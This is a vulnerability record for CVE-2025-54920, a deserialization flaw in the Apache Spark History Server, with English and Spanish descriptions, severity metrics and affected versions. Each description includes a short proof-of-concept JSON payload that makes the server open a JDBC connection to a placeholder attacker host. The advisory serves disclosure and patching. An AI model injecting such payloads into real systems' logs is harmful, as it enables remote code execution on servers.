CVE-2025-54920

{"id": "CVE-2025-54920", "cveTags": [], "metrics": {"cvssMetricV31": [{"type": "Secondary", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "cvssData": {"scope": "UNCHANGED", "version": "3.1", "baseScore": 8.8, "attackVector": "NETWORK", "baseSeverity": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "integrityImpact": "HIGH", "userInteraction": "NONE", "attackComplexity": "LOW", "availabilityImpact": "HIGH", "privilegesRequired": "LOW", "confidentialityImpact": "HIGH"}, "impactScore": 5.9, "exploitabilityScore": 2.8}]}, "published": "2026-03-16T14:17:59.877", "references": [{"url": "https://github.com/apache/spark/pull/51312", "tags": ["Issue Tracking"], "source": "security@apache.org"}, {"url": "https://github.com/apache/spark/pull/51323", "tags": ["Issue Tracking"], "source": "security@apache.org"}, {"url": "https://issues.apache.org/jira/browse/SPARK-52381", "tags": ["Issue Tracking"], "source": "security@apache.org"}, {"url": "https://lists.apache.org/thread/4y9n0nfj7m68o2hpmoxgc0y7dm1lo02s", "tags": ["Mitigation", "Vendor Advisory", "Exploit"], "source": "security@apache.org"}, {"url": "http://www.openwall.com/lists/oss-security/2026/03/13/4", "tags": ["Mailing List", "Third Party Advisory", "Exploit"], "source": "af854a3a-2127-422b-91ae-364da2661108"}], "vulnStatus": "Analyzed", "weaknesses": [{"type": "Secondary", "source": "security@apache.org", "description": [{"lang": "en", "value": "CWE-502"}]}], "descriptions": [{"lang": "en", "value": "This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.\n\n\n\n\n\nSummary\n\nApache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.\n\n\n\n\n\nDetails\n\nThe vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.\n\n\nThe attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.\n\n\n\n\n\n\nProof of Concept:\n\n1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).\n\n2. Inject the following JSON at the beginning of an event log file:\n\n\n{\n\n \"Event\": \"org.apache.hive.jdbc.HiveConnection\",\n \"uri\": \"jdbc:hive2://<IP>:<PORT>/\",\n \"info\": {\n \"hive.metastore.uris\": \"thrift://<IP>:<PORT>\"\n }\n}\n\n\n\n\n\n\n\n3. Start the Spark History Server with logs pointing to the modified directory.\n\n4. The Spark History Server initiates a JDBC connection to the attacker\u2019s server, confirming the injection.\n\n\n\n\n\n\n\n\n\n\nImpact\n\nAn attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system."}, {"lang": "es", "value": "Este problema afecta a Apache Spark: antes de 3.5.7 y 4.0.1. Se recomienda a los usuarios actualizar a la versi\u00f3n 3.5.7 o 4.0.1 y posteriores, que corrige el problema.\n\nResumen\n\nApache Spark 3.5.4 y versiones anteriores contienen una vulnerabilidad de ejecuci\u00f3n de c\u00f3digo en la interfaz de usuario web de Spark History debido a una deserializaci\u00f3n de Jackson excesivamente permisiva de los datos del registro de eventos. Esto permite a un atacante con acceso al directorio de registros de eventos de Spark inyectar cargas \u00fatiles JSON maliciosas que desencadenan la deserializaci\u00f3n de clases arbitrarias, lo que permite la ejecuci\u00f3n de comandos en el host que ejecuta el Spark History Server.\n\nDetalles\n\nLa vulnerabilidad surge porque el Spark History Server utiliza la deserializaci\u00f3n polim\u00f3rfica de Jackson con @JsonTypeInfo.Id.CLASS en objetos SparkListenerEvent, lo que permite a un atacante especificar nombres de clase arbitrarios en el JSON del evento. Este comportamiento permite instanciar clases no deseadas, como org.apache.hive.jdbc.HiveConnection, que pueden realizar llamadas de red u otras acciones maliciosas durante la deserializaci\u00f3n.\n\nEl atacante puede explotar esto inyectando contenido JSON manipulado en los archivos de registro de eventos de Spark, que el History Server luego deserializa al iniciar o al cargar los registros de eventos. Por ejemplo, el atacante puede forzar al History Server a abrir una conexi\u00f3n JDBC a un servidor remoto controlado por el atacante, demostrando la capacidad de inyecci\u00f3n de comandos remota.\n\nPrueba de concepto:\n\n1. Ejecute Spark con el registro de eventos habilitado, escribiendo en un directorio con permisos de escritura (spark-logs).\n\n2. Inyecte el siguiente JSON al principio de un archivo de registro de eventos:\n\n{\n\n \"Event\": \"org.apache.hive.jdbc.HiveConnection\",\n \"uri\": \"jdbc:hive2://:/\",\n \"info\": {\n \"hive.metastore.uris\": \"thrift://:\"\n }\n}\n\n3. Inicie el Spark History Server con los registros apuntando al directorio modificado.\n\n4. El Spark History Server inicia una conexi\u00f3n JDBC al servidor del atacante, confirmando la inyecci\u00f3n.\n\nImpacto\n\nUn atacante con acceso de escritura a los registros de eventos de Spark puede ejecutar c\u00f3digo arbitrario en el servidor que ejecuta el History Server, comprometiendo potencialmente todo el sistema."}], "lastModified": "2026-03-20T19:16:45.837", "configurations": [{"nodes": [{"negate": false, "cpeMatch": [{"criteria": "cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:*", "vulnerable": true, "matchCriteriaId": "9D7D7694-BC03-478D-9F4B-143441071D93", "versionEndExcluding": "3.5.7"}, {"criteria": "cpe:2.3:a:apache:spark:4.0.0:-:*:*:*:*:*:*", "vulnerable": true, "matchCriteriaId": "DDCC2B9D-079B-4E07-9043-B11203EC9F2D"}, {"criteria": "cpe:2.3:a:apache:spark:4.0.0:rc1:*:*:*:*:*:*", "vulnerable": true, "matchCriteriaId": "EFBBB699-7556-4930-B57C-77B61EF11F54"}, {"criteria": "cpe:2.3:a:apache:spark:4.0.0:rc2:*:*:*:*:*:*", "vulnerable": true, "matchCriteriaId": "19E77AEE-7D2B-4A88-BB46-B214EBF0FD92"}, {"criteria": "cpe:2.3:a:apache:spark:4.0.0:rc3:*:*:*:*:*:*", "vulnerable": true, "matchCriteriaId": "85BD7BB3-7A01-4A4F-BED5-FFC89071192A"}, {"criteria": "cpe:2.3:a:apache:spark:4.0.0:rc4:*:*:*:*:*:*", "vulnerable": true, "matchCriteriaId": "50984263-15BA-4538-B7B7-D13C18FFD4D6"}, {"criteria": "cpe:2.3:a:apache:spark:4.0.0:rc5:*:*:*:*:*:*", "vulnerable": true, "matchCriteriaId": "EF184C3A-6625-42DF-BAF8-052614E1670B"}, {"criteria": "cpe:2.3:a:apache:spark:4.0.0:rc6:*:*:*:*:*:*", "vulnerable": true, "matchCriteriaId": "8631C8B2-821B-4E44-97EC-DD670C9FC730"}, {"criteria": "cpe:2.3:a:apache:spark:4.0.0:rc7:*:*:*:*:*:*", "vulnerable": true, "matchCriteriaId": "37BF5C2F-9A7B-4084-9F7F-11DB4199631C"}, {"criteria": "cpe:2.3:a:apache:spark:4.0.1:rc1:*:*:*:*:*:*", "vulnerable": true, "matchCriteriaId": "8A685F3A-5A0F-4AC9-A07B-1C596B8B4596"}], "operator": "OR"}]}], "sourceIdentifier": "security@apache.org"}